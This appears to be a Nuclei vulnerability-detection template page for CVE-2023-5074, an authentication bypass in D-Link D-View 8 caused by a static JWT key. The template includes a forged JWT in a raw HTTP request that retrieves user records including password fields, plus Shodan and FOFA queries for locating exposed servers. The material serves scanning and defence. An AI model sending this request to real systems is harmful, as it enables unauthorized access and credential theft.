D-Link D-View 8 v2.0.1.28 - Authentication Bypass

ID: CVE-2023-5074

Severity: critical

Author: DhiyaneshDK

Tags: cve2023,cve,d-link,auth-bypass,dlink

Description

Use of a static key to protect a JWT token used in user authentication can allow an for an authentication bypass in D-Link D-View 8 v2.0.1.28

YAML Source

id: CVE-2023-5074

info:
  name: D-Link D-View 8 v2.0.1.28 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Use of a static key to protect a JWT token used in user authentication can allow an for an authentication bypass in D-Link D-View 8 v2.0.1.28
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2023-32
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5074
    - https://github.com/codeb0ss/CVE-2023-5074-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5074
    cwe-id: CWE-798
    epss-score: 0.01843
    epss-percentile: 0.88296
    cpe: cpe:2.3:a:dlink:d-view_8:2.0.1.28:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dlink
    product: d-view_8
    shodan-query:
      - http.favicon.hash:-1317621215
      - http.favicon.hash:"-1317621215"
    fofa-query: icon_hash="-1317621215"
  tags: cve2023,cve,d-link,auth-bypass,dlink

http:
  - raw:
      - |
        GET /dview8/api/usersByLevel HTTP/1.1
        Host: {{Hostname}}
        Authorization: eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiand0In0.eyJvcmdJZCI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODA5YWEiLCJ1c2VySWQiOiAiNTkxNzFkNTYtZTZiNC00Nzg5LTkwZmYtYTdhMjdmZDQ4NTQ4IiwidHlwZSI6IDMsImtleSI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODkwYmIiLCJpYXQiOiAxNjg2NzY1MTk4LCJqdGkiOiAiZmRhOGU1YzNlNWY1MTQ5MDMzZThiM2FkNWI3ZDhjMjUiLCJuYmYiOiAxNjg2NzYxNTk4LCJleHAiOiAxODQ0NDQ1MTk4fQ.5swhQdiev4r8ZDNkJAFVkGfRTIaUQlwVue2AI18CrcI

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "userName") && contains(body, "passWord") && contains(body, "isEmailActivate")'
          - 'contains(header, "application/json")'
        condition: and
# digest: 490a004630440220322bb12d5d2eac731c2fc63ea5d2437484cc4c616f91d29ae35449fddcb7cbb3022025463beeec79b5d016d5f4b102e10a751ef41ce637fc179d1d51497430956fd2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5074.yaml"

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